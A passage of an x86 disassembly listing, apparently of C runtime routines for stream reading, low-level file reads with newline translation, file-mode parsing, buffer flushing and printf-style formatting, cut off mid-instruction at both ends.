82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC5C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C950 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC6C0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC5C0h[eax*4] mov eax, dword_4DC5C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F1E4 call near ptr 2690DCCh nop push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB278, 9 mov dword_4DB27C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F285 nop call near ptr 2690DCCh test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB2F8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB464 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB460 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5A0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB598 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB598 mov [edi+ecx], eax mov eax, dword_4DB598 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C2F8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C2F8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA08 jz short loc_41F5EA cmp esi, offset dword_43CA28 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C950 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C2F8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C514 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C510 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8A0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8AC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8A4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 